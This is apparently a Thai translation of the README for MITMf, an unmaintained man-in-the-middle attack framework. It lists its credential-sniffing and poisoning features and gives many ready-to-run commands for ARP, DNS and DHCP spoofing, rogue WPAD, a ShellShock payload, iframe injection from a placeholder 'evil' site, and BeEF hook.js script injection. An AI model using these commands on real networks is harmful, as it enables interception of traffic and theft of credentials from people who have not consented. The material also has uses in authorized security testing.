กรอบการทำงานสำหรับการโจมตีแบบ Man-In-The-Middle
โครงการนี้ไม่ได้รับการอัปเดตอีกต่อไป MITMf ถูกเขียนขึ้นเพื่อตอบสนองความต้องการเครื่องมือสมัยใหม่สำหรับการโจมตีแบบ Man-In-The-Middle ในขณะนั้น ตั้งแต่นั้นเป็นต้นมา เครื่องมืออื่นๆ มากมายได้ถูกสร้างขึ้นเพื่อเติมเต็มพื้นที่นี้ คุณน่าจะใช้ Bettercap เนื่องจากมีฟีเจอร์ที่สมบูรณ์กว่าและได้รับการดูแลที่ดีกว่ามาก
บทแนะนำด่วน ตัวอย่าง และการอัปเดตสำหรับนักพัฒนาซอฟต์แวร์ที่: https://byt3bl33d3r.github.io
เครื่องมือนี้ใช้ sergio-proxy และเป็นความพยายามที่จะฟื้นฟูและอัปเดตโครงการ
ติดต่อฉันได้ที่:
ก่อนที่จะส่งปัญหา โปรดอ่านส่วนที่เกี่ยวข้องในวิกิ
โปรดดูวิกิสำหรับคำแนะนำในการติดตั้ง
MITMf มีเป้าหมายที่จะให้บริการครบวงจรสำหรับการโจมตีแบบ Man-In-The-Middle และเครือข่าย ในขณะเดียวกันก็อัปเดตและปรับปรุงการโจมตีและเทคนิคที่มีอยู่
เดิมทีสร้างขึ้นเพื่อแก้ไขข้อบกพร่องที่สำคัญของเครื่องมืออื่นๆ (เช่น Ettercap, Mallory) ได้รับการเขียนใหม่เกือบทั้งหมดตั้งแต่ต้นเพื่อให้เป็นเฟรมเวิร์กแบบแยกส่วนและขยายได้ง่ายที่ใครๆ ก็สามารถใช้เพื่อดำเนินการโจมตี MITM ของตนเองได้
เฟรมเวิร์กประกอบด้วยเซิร์ฟเวอร์ SMB, HTTP และ DNS ในตัวที่สามารถควบคุมและใช้งานได้โดยปลั๊กอินต่างๆ นอกจากนี้ยังมีพร็อกซี SSLStrip เวอร์ชันแก้ไขที่อนุญาตให้มีการแก้ไข HTTP และบายพาส HSTS บางส่วน
ในเวอร์ชัน 0.9.8 MITMf รองรับการกรองและการจัดการแพ็กเก็ตที่ใช้งานอยู่ (โดยพื้นฐานแล้วสิ่งที่ etterfilters ทำได้ดีกว่าเท่านั้น) ทำให้ผู้ใช้สามารถแก้ไขการรับส่งข้อมูลหรือโปรโตคอลประเภทใดก็ได้
ไฟล์การกำหนดค่าสามารถแก้ไขได้ทันทีในขณะที่ MITMf กำลังทำงานอยู่ การเปลี่ยนแปลงจะถูกส่งผ่านเฟรมเวิร์ก: สิ่งนี้ช่วยให้คุณปรับแต่งการตั้งค่าของปลั๊กอินและเซิร์ฟเวอร์ในขณะที่ทำการโจมตี
MITMf จะบันทึก FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (สตริงชุมชน), NTLMv1/v2 (โปรโตคอลที่รองรับทั้งหมด เช่น HTTP, SMB, LDAP ฯลฯ) และข้อมูลประจำตัว Kerberos โดยใช้ Net-Creds ซึ่งทำงานบน การเริ่มต้น
การรวม Responder ช่วยให้สามารถวางพิษ LLMNR, NBT-NS และ MDNS และรองรับเซิร์ฟเวอร์ WPAD rogue
ตอนนี้คุณสามารถแก้ไขแพ็กเก็ต / โปรโตคอลใด ๆ ที่ถูกดักจับโดย MITMf โดยใช้ Scapy! (ไม่มีตัวกรองอีกต่อไป! เย้!)
ตัวอย่างเช่น นี่คือตัวกรองเล็กๆ น้อยๆ โง่ๆ ที่เพิ่งเปลี่ยนที่อยู่ IP ปลายทางของแพ็กเก็ต ICMP:
if packet . haslayer ( ICMP ):
log . info ( 'Got an ICMP packet!' )
packet . dst = '192.168.1.0'
packet
เพื่อเข้าถึงแพ็คเก็ตในรูปแบบที่เข้ากันได้กับ Scapydata
เพื่อเข้าถึงข้อมูลแพ็กเก็ตดิบ ตอนนี้เพื่อใช้ตัวกรอง สิ่งที่เราต้องทำคือ: python mitmf.py -F ~/filter.py
คุณอาจต้องการรวมสิ่งนั้นเข้ากับปลั๊กอิน Spoof เพื่อดักจับแพ็กเก็ตจากบุคคลอื่น ;)
หมายเหตุ : คุณสามารถแก้ไขตัวกรองได้ทันทีโดยไม่ต้องรีสตาร์ท MITMf!
การใช้งานขั้นพื้นฐานที่สุด เริ่มต้น HTTP พร็อกซี SMB, DNS, เซิร์ฟเวอร์ HTTP และ Net-Creds บนอินเทอร์เฟซ enp3s0:
python mitmf.py -i enp3s0
ARP วางยาพิษเครือข่ายย่อยทั้งหมดด้วยเกตเวย์ที่ 192.168.1.1 โดยใช้ปลั๊กอิน Spoof :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
เช่นเดียวกับด้านบน + พร็อกซีเซิร์ฟเวอร์โกง WPAD โดยใช้ปลั๊กอิน Responder :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ARP Poison 192.168.1.16-45 และ 192.168.0.1/24 โดยมีเกตเวย์ที่ 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
เปิดใช้งานการปลอมแปลง DNS ในขณะที่การวางยา ARP (โดเมนที่จะปลอมแปลงถูกดึงออกจากไฟล์กำหนดค่า):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
เปิดใช้งานการปลอมแปลง LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
เปิดใช้งานการปลอมแปลง DHCP (พูล IP และซับเน็ตถูกดึงมาจากไฟล์กำหนดค่า):
python mitmf.py -i enp3s0 --spoof --dhcp
เช่นเดียวกับข้างต้นด้วยเพย์โหลด ShellShock ที่จะดำเนินการหากไคลเอนต์ใดมีช่องโหว่:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
ฉีด HTML IFrame โดยใช้ปลั๊กอิน Inject :
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
ฉีดสคริปต์ JS:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
เริ่มต้นพอร์ทัลแบบ Captive ที่เปลี่ยนเส้นทางทุกอย่างไปที่ http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
เริ่มแคปทีฟพอร์ทัลที่ http://your-ip/portal.html โดยใช้เพจเริ่มต้น /portal.html (ขอบคุณผู้ตอบกลับ) และ /CaptiveClient.exe (ไม่รวม) จากโฟลเดอร์ config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
เช่นเดียวกับข้างต้น แต่ใช้ชื่อโฮสต์ captive.portal แทน IP (ต้องใช้ captive.portal เพื่อแก้ไข IP ของคุณ เช่น ผ่านการปลอมแปลง DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
ให้บริการพอร์ทัลแบบ Captive ด้วยอินสแตนซ์ SimpleHTTPServer เพิ่มเติมที่ให้บริการ LOCALDIR ที่ http://IP:8080 (เปลี่ยนพอร์ตใน mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
เช่นเดียวกับข้างต้น แต่มีชื่อโฮสต์:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
และอีกมากมาย!
แน่นอนคุณสามารถผสมและจับคู่ปลั๊กอินเกือบทุกชนิดเข้าด้วยกัน (เช่น ARP spoof + inject + Responder เป็นต้น)
หากต้องการดูรายการตัวเลือกทั้งหมดที่มี ให้เรียกใช้ python mitmf.py --help
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ผลประโยชน์ทับซ้อน: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr